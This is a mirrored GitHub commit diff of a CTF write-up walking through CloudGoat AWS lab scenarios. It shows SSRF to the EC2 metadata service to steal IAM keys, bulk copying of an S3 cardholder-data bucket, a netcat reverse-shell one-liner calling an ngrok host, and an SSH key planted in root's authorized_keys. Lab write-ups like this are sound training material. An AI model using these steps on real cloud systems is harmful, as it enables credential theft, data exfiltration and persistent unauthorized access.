mirror of
https://github.com/AbdullahRizwan101/CTF-Writeups
synced 2024-11-21 11:33:03 +00:00
Update Cloudgoat.md
This commit is contained in:
ARZ
GitHub
parent
62232d2fd2
commit
984d4b5dcc
1 changed files with 84 additions and 83 deletions
|
|
@ -59,35 +59,35 @@ You may encounter an error where cloudgoat script may fail to install `terraform
|
|||
## Cloud Breach s3 (Medium)
|
||||
In this scenario we need to query the metadata of EC2 from a reverse proxy and access AWS session then using those keys we need to extract data from s3 bucket, so creating this scenario
|
||||
|
||||
|
||||
<img src="https://i.imgur.com/t6SNUdU.png"/>
|
||||
|
||||
To start attacking, we can get the IP address from the generated `start.txt` file
|
||||
|
||||
|
||||
<img src="https://i.imgur.com/WtlxFq1.png"/>
|
||||
|
||||
Running an nmap scan (it isn't necessary) we can see that it's an ec2 instance
|
||||
|
||||
|
||||
<img src="https://i.imgur.com/JLrpz27.png"/>
|
||||
|
||||
But it doesn't show anything on the web server
|
||||
|
||||
|
||||
<img src="https://i.imgur.com/tvilCQi.png"/>
|
||||
|
||||
Making a request with `curl` shows that it's configured to work as a proxy to make requests to ec2 metadata
|
||||
|
||||
|
||||
<img src="https://i.imgur.com/UnoMROE.png"/>
|
||||
|
||||
AWS has an IP for metadata which is `169.254.169.254`, so we need to edit the Host header of the request and make a request to `/latest`
|
||||
|
||||
|
||||
<img src="https://i.imgur.com/yEYQ0uh.png"/>
|
||||
|
||||
So we can make a request to `/latest/meta-data/iam/security-credentials/cg-banking-WAF-Role-cloud_breach_s3_cgidkt0wpx0w0k` , which will show AWS access key
|
||||
|
||||
|
||||
<img src="https://i.imgur.com/QtlXuMk.png"/>
|
||||
|
||||
Adding a profile using these keys
|
||||
|
||||
|
||||
<img src="https://i.imgur.com/QNXtCnx.png"/>
|
||||
|
||||
We can verify the keys if they are working with
|
||||
|
||||
|
|
@ -95,7 +95,7 @@ We can verify the keys if they are working with
|
|||
aws sts get-caller-identity --profile cloud_breach
|
||||
```
|
||||
|
||||
|
||||
<img src="https://i.imgur.com/ryYt2EY.png"/>
|
||||
|
||||
Now we don't know what's the s3 bucket, we can list s3 buckets if it's associated with the AWS key
|
||||
|
||||
|
|
@ -103,7 +103,7 @@ Now we don't know what's the s3 bucket, we can list s3 buckets if it's associate
|
|||
aws s3 ls --profile cloud_breach
|
||||
```
|
||||
|
||||
|
||||
<img src="https://i.imgur.com/wvQmHZ3.png"/>
|
||||
|
||||
To view contents of this s3 bucket we can list it by giving the bucket name which is `cg-cardholder-data-bucket-cloud-breach-s3-cgidkt0wpx0w0k`
|
||||
|
||||
|
|
@ -111,7 +111,7 @@ To view contents of this s3 bucket we can list it by giving the bucket name whic
|
|||
aws s3 ls s3://cg-cardholder-data-bucket-cloud-breach-s3-cgidkt0wpx0w0k --profile cloud_breach
|
||||
```
|
||||
|
||||
|
||||
<img src="https://i.imgur.com/RsXnMHI.png"/>
|
||||
|
||||
To copy all files from s3 bucket we can use `cp` to copy files, `--recusrive` to copy all files `.` for the the destination to be the current path
|
||||
|
||||
|
|
@ -119,40 +119,40 @@ To copy all files from s3 bucket we can use `cp` to copy files, `--recusrive` to
|
|||
aws s3 --recursive cp s3://cg-cardholder-data-bucket-cloud-breach-s3-cgidkt0wpx0w0k . --profile cloud_breach
|
||||
```
|
||||
|
||||
|
||||
<img src="https://i.imgur.com/zLABNKo.png"/>
|
||||
|
||||
Accessing any of these file mean that we have compromised s3 bucket which completes this scenario
|
||||
|
||||
|
||||
<img src="https://i.imgur.com/zyW9gIk.png"/>
|
||||
|
||||
We can now destory this challenege with `python3 cloudgoat.py destroy cloud_breach_s3`
|
||||
|
||||
|
||||
<img src="https://i.imgur.com/WlGnKmq.png"/>
|
||||
|
||||
## EC2 SSRF (Medium)
|
||||
In this scenario we have access to IAM user through which we have to enumerate permissions and find a lambda function through which we can access EC2 instance and extract data from s3 bucket
|
||||
|
||||
To create this scenario, we need to run `python3 cloudgoat.py create ec2_ssrf`
|
||||
|
||||
|
||||
<img src="https://i.imgur.com/iyAETZF.png"/>
|
||||
|
||||
But at the end this will fail because python3.6 is not supported for creating lambda functions, we can fix it by replacing it with python3.9 by editing `scenarios/ec2_ssrf/terraform/lambda.tf`
|
||||
|
||||
|
||||
<img src="https://i.imgur.com/3KRPeK4.png"/>
|
||||
|
||||
|
||||
<img src="https://i.imgur.com/K7i9wH2.png"/>
|
||||
|
||||
Now running the script again to create the scenario
|
||||
|
||||
|
||||
<img src="https://i.imgur.com/m2EgwcP.png"/>
|
||||
|
||||
In `start.txt` we havet the acount id and AWS access key for `solus` IAM user
|
||||
|
||||
|
||||
<img src="https://i.imgur.com/jt0IdNR.png"/>
|
||||
|
||||
So let's create a profile for solus user with AWS keys
|
||||
|
||||
|
||||
<img src="https://i.imgur.com/FhS072a.png"/>
|
||||
|
||||
To verify if the AWS keys are working
|
||||
|
||||
|
|
@ -160,7 +160,7 @@ To verify if the AWS keys are working
|
|||
aws sts get-caller-identity --profile solus
|
||||
```
|
||||
|
||||
|
||||
<img src="https://i.imgur.com/dhx3Bqt.png"/>
|
||||
|
||||
Listing lambda functions with
|
||||
|
||||
|
|
@ -168,15 +168,15 @@ Listing lambda functions with
|
|||
aws lambda list-functions --profile solus --region us-east-1
|
||||
```
|
||||
|
||||
|
||||
<img src="https://i.imgur.com/e1IvK23.png"/>
|
||||
|
||||
This reveals EC2 access key, to use them we need to create another profile for this access key, also if we try invoking this function it won't work
|
||||
|
||||
|
||||
<img src="https://i.imgur.com/BBPwCiL.png"/>
|
||||
|
||||
So creating aws profile
|
||||
|
||||
|
||||
<img src="https://i.imgur.com/tJIB2t4.png"/>
|
||||
|
||||
Running `ec2 describe-instances` to view the instances associated with the access key
|
||||
|
||||
|
|
@ -184,107 +184,108 @@ Running `ec2 describe-instances` to view the instances associated with the acces
|
|||
aws ec2 describe-instances --profile solus_ec2 --region us-east-1
|
||||
```
|
||||
|
||||
|
||||
<img src="https://i.imgur.com/de5XXD6.png"/>
|
||||
|
||||
Scrolling a little down we'll get the instance's IP address which will also reveal public IP
|
||||
|
||||
|
||||
<img src="https://i.imgur.com/eIQvhGJ.png"/>
|
||||
|
||||
Running nmap scan on EC2 instance to see which ports are open
|
||||
|
||||
|
||||
<img src="https://i.imgur.com/YMeTjJV.png"/>
|
||||
|
||||
It has a web server running so let's visit that, the default page had some issues as the creator didn't handle the errors properly
|
||||
|
||||
|
||||
<img src="https://i.imgur.com/EbtKOZC.png"/>
|
||||
|
||||
We can resolve this by including `url` GET parameter
|
||||
|
||||
|
||||
<img src="https://i.imgur.com/Azg9uh0.png"/>
|
||||
|
||||
As the page tells that this is about SSRF, we can try making a requesst to EC2 metadata on IP `169.254.169.254`
|
||||
|
||||
|
||||
<img src="https://i.imgur.com/txZq9P9.png"/>
|
||||
|
||||
Making a request to `/latest/meta-data/iam/security-credentials/` we'll get the role `cg-ec2-role-ec2_ssrf_cgidne4wv0ljch` for which we can get read the AWS keys
|
||||
|
||||
|
||||
<img src="https://i.imgur.com/XFkY57s.png"/>
|
||||
|
||||
|
||||
<img src="https://i.imgur.com/LT7ddB1.png"/>
|
||||
|
||||
With `aws configure` we can use the AWS keys to create a profile for `ec2_ssrf`
|
||||
|
||||
|
||||
<img src="https://i.imgur.com/kCNzhvz.png"/>
|
||||
|
||||
We also need to add the session token
|
||||
|
||||
|
||||
<img src="https://i.imgur.com/gnzl7Ig.png"/>
|
||||
|
||||
|
||||
<img src="https://i.imgur.com/IssRIIA.png"/>
|
||||
|
||||
To access s3 bucket, we first to list them with `aws s3 ls --profile ec2_ssrf`
|
||||
|
||||
|
||||
<img src="https://i.imgur.com/bqcdspr.png"/>
|
||||
|
||||
Listing the contents of this bucket will shows us a text file
|
||||
|
||||
|
||||
<img src="https://i.imgur.com/NIm9qcs.png"/>
|
||||
|
||||
Downloading this file with `cp`, we'll get AWS keys for another user which seems to be privileged from from the name of the text file
|
||||
|
||||
|
||||
<img src="https://i.imgur.com/VKvowoQ.png"/>
|
||||
|
||||
|
||||
<img src="https://i.imgur.com/hOezBLv.png"/>
|
||||
|
||||
Checking this user's identitiy, it's `shepard`
|
||||
|
||||
|
||||
<img src="https://i.imgur.com/wgRmnQq.png"/>
|
||||
|
||||
Now invoking the function which we tried before with solus user but this time trying with shepard
|
||||
|
||||
```bash
|
||||
aws lambda invoke --function-name cg-lambda-ec2_ssrf_cgidne4wv0ljch --profile ec2_ssrf_admin --region us-east-1 ./output.txt
|
||||
```
|
||||
|
||||
<img src="https://i.imgur.com/obcYkFD.png"/>
|
||||
|
||||
Reading the response from the text file, we'll see that we completed this scenario
|
||||
|
||||
|
||||
<img src="https://i.imgur.com/N3c1u1D.png"/>
|
||||
|
||||
We can destory this scenario with `cloudgoat.py destroy ec2_ssrf`
|
||||
|
||||
|
||||
<img src="https://i.imgur.com/KPBQAKZ.png"/>
|
||||
|
||||
|
||||
<img src="https://i.imgur.com/A0zQmTL.png"/>
|
||||
|
||||
## RCE Web App (Hard)
|
||||
In this scenario we have access to two IAM users and access s3 bucket which will lead to a vulnerable web app for rce
|
||||
|
||||
We can create this scenario with `python3 cloudgoat.py create rce_web_app`
|
||||
|
||||
|
||||
<img src="https://i.imgur.com/9xyQVoq.png"/>
|
||||
|
||||
But at the end it showed an error that it wasn't able to create RDS (Amazon Relational Database) DB instance because it couldn't find postgres 9.6 because that has been deprecated
|
||||
|
||||
|
||||
<img src="https://i.imgur.com/QJXYRrD.png"/>
|
||||
|
||||
|
||||
<img src="https://i.imgur.com/1gdi0uV.png"/>
|
||||
|
||||
This issue can be resolved by replacing the postgres version to 12
|
||||
|
||||
|
||||
<img src="https://i.imgur.com/MtOg77a.png"/>
|
||||
|
||||
|
||||
<img src="https://i.imgur.com/g0b6M35.png"/>
|
||||
|
||||
Here we have two users `lara` and `mcduck`, so first I'll take the path from `lara`
|
||||
|
||||
## Path from Lara
|
||||
Creating a profile for lara by using access and secret key
|
||||
|
||||
|
||||
<img src="https://i.imgur.com/Tb1A3qV.png"/>
|
||||
|
||||
We can verfiy if the keys are working
|
||||
|
||||
|
||||
<img src="https://i.imgur.com/ZHX87pQ.png"/>
|
||||
|
||||
From this IAM user we can access s3 bucket
|
||||
|
||||
|
|
@ -292,11 +293,11 @@ From this IAM user we can access s3 bucket
|
|||
aws s3 ls --profile lara
|
||||
```
|
||||
|
||||
|
||||
<img src="https://i.imgur.com/aKV1kqI.png"/>
|
||||
|
||||
We can see there are three buckets but this user can access only `cg-logs` bucket
|
||||
|
||||
|
||||
<img src="https://i.imgur.com/rKxPAcr.png"/>
|
||||
|
||||
To download `cg-lb-logs` folder recursivley
|
||||
|
||||
|
|
@ -304,17 +305,17 @@ To download `cg-lb-logs` folder recursivley
|
|||
aws s3 cp --recursive s3://cg-logs-s3-bucket-rce-web-app-cgid3ntl2q2i88 . --profile lara
|
||||
```
|
||||
|
||||
|
||||
<img src="https://i.imgur.com/KLf5NPG.png"/>
|
||||
|
||||
On accessing that folder, there's a log file which contained some requests
|
||||
|
||||
|
||||
<img src="https://i.imgur.com/69nuRUg.png"/>
|
||||
|
||||
|
||||
<img src="https://i.imgur.com/Cv32NVN.png"/>
|
||||
|
||||
Making a request to see these urls are alive but they were down
|
||||
|
||||
|
||||
<img src="https://i.imgur.com/NjO1stY.png"/>
|
||||
|
||||
So we know there might be a web app running, we can try listing an ec2 instances through this profile
|
||||
|
||||
|
|
@ -322,11 +323,11 @@ So we know there might be a web app running, we can try listing an ec2 instances
|
|||
aws ec2 describe-instances --profile lara --region us-east-1
|
||||
```
|
||||
|
||||
|
||||
<img src="https://i.imgur.com/iZIGQHK.png"/>
|
||||
|
||||
We scan this ec2 instance for open ports which shows that there's only ssh open the instance
|
||||
|
||||
|
||||
<img src="https://i.imgur.com/hON1Vjf.png"/>
|
||||
|
||||
So there's nothing we can do from the ec2, the log file belongs to a load balancer, so we can try lisiting the load balancers with `elbv2 describe-load-balancers`
|
||||
|
||||
|
|
@ -334,19 +335,19 @@ So there's nothing we can do from the ec2, the log file belongs to a load balanc
|
|||
aws elbv2 describe-load-balancers --profile lara --region us-east-1
|
||||
```
|
||||
|
||||
|
||||
<img src="https://i.imgur.com/oq4bwYV.png"/>
|
||||
|
||||
We can visit this url and access the site
|
||||
|
||||
|
||||
<img src="https://i.imgur.com/katXehA.png"/>
|
||||
|
||||
This talks about visiting "the secret url" which we can find from the logs
|
||||
|
||||
|
||||
<img src="https://i.imgur.com/t5vBH8F.png"/>
|
||||
|
||||
This gives us a functionality to execute commands which we can abuse to get a reverse shell
|
||||
|
||||
|
||||
<img src="https://i.imgur.com/6OW0Nwq.png"/>
|
||||
|
||||
For reverse shell, we can use `ngork` which is used for exposing local port over the internet, I was having issues with ngrok not working with kali linux so I swtiched to ubuntu for getting a shell using busybox variant of `netcat`
|
||||
|
||||
|
|
@ -354,27 +355,27 @@ For reverse shell, we can use `ngork` which is used for exposing local port over
|
|||
echo "rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 0.tcp.ap.ngrok.io 11400 >/tmp/f" |base64 -w0
|
||||
```
|
||||
|
||||
|
||||
<img src="https://i.imgur.com/69eaCZG.png"/>
|
||||
|
||||
|
||||
<img src="https://i.imgur.com/NICaB1a.png"/>
|
||||
|
||||
We can run ngrok with `ngrok tcp 2222`
|
||||
|
||||
|
||||
<img src="https://i.imgur.com/HYCqymr.png"/>
|
||||
|
||||
But issue is when getting a reverse shell, the application stops responding
|
||||
|
||||
|
||||
<img src="https://i.imgur.com/AkP5YzE.png"/>
|
||||
|
||||
|
||||
<img src="https://i.imgur.com/goBA5AD.png"/>
|
||||
|
||||
We can try accessing root's ssh key but it wasn't generated
|
||||
|
||||
|
||||
<img src="https://i.imgur.com/mERF5FN.png"/>
|
||||
|
||||
Since we are root user, we can add our ssh public key and login with the private key
|
||||
|
||||
|
||||
<img src="https://i.imgur.com/odxyCZ3.png"/>
|
||||
|
||||
```bash
|
||||
echo "ssh public key " > /root/.ssh/authorized_keys
|
||||
|
|
@ -382,31 +383,31 @@ echo "ssh public key " > /root/.ssh/authorized_keys
|
|||
|
||||
On adding the key I was getting an error due to `Unterminated quoted string`, I am not sure why I was getting that but I wasn't able to add the ssh key
|
||||
|
||||
|
||||
<img src="https://i.imgur.com/XJqDbd0.png"/>
|
||||
|
||||
If we check root's authorized_keys file, it says to login as ubuntu
|
||||
|
||||
|
||||
<img src="https://i.imgur.com/I9xwM3p.png"/>
|
||||
|
||||
Either the ssh key is being truncated for some reason or it needs a proper format for the key as AWS supports `D25519` and `2048-bit` SSH-2 RSA keys for Linux instances, there is even an issue reported for this part
|
||||
|
||||
|
||||
<img src="https://i.imgur.com/QQ9El9z.png"/>
|
||||
|
||||
|
||||
<img src="https://i.imgur.com/3QHq63C.png"/>
|
||||
|
||||
Generate the key again with `ed25519`
|
||||
|
||||
|
||||
<img src="https://i.imgur.com/VAcZyJ1.png"/>
|
||||
|
||||
```bash
|
||||
echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIG5QcNdp9tUZRQvmkPMDfZpXciiy+7YVTdNI9RyUPbcR arz@kali" > /root/.ssh/authorized_keys
|
||||
```
|
||||
|
||||
|
||||
<img src="https://i.imgur.com/2cvMauW.png"/>
|
||||
|
||||
We can see that this worked perfectly with no errors which means we can now login into the ec2 instance we found earlier
|
||||
|
||||
|
||||
<img src="https://i.imgur.com/3D2Ip31.png"/>
|
||||
|
||||
Having access to EC2, we can query for the metadata from the magic AWS IP `169.254.169.254`
|
||||
|
||||
|
|
@ -414,25 +415,25 @@ Having access to EC2, we can query for the metadata from the magic AWS IP `169.2
|
|||
curl 169.254.169.254/latest/meta-data/iam/security-credentials/cg-ec2-role-rce_web_app_cgidd9pk8lqvym
|
||||
```
|
||||
|
||||
|
||||
<img src="https://i.imgur.com/ypRbGSx.png"/>
|
||||
|
||||
Using the keys we can create a new profile for aws session
|
||||
|
||||
|
||||
<img src="https://i.imgur.com/FUArWZN.png"/>
|
||||
|
||||
|
||||
<img src="https://i.imgur.com/Dik2Qjo.png"/>
|
||||
|
||||
With this user we can access the secrets s3 bucket and find `db.txt`
|
||||
|
||||
|
||||
<img src="https://i.imgur.com/NdLbu1o.png"/>
|
||||
|
||||
Downloading the file
|
||||
|
||||
|
||||
<img src="https://i.imgur.com/fUqUVfm.png"/>
|
||||
|
||||
From this file we'll get the credentials for database
|
||||
|
||||
|
||||
<img src="https://i.imgur.com/KpiKmhZ.png"/>
|
||||
|
||||
DB instance can be found with `rds describe-db-instances`
|
||||
|
||||
|
|
|
|||
Loading…
Reference in a new issue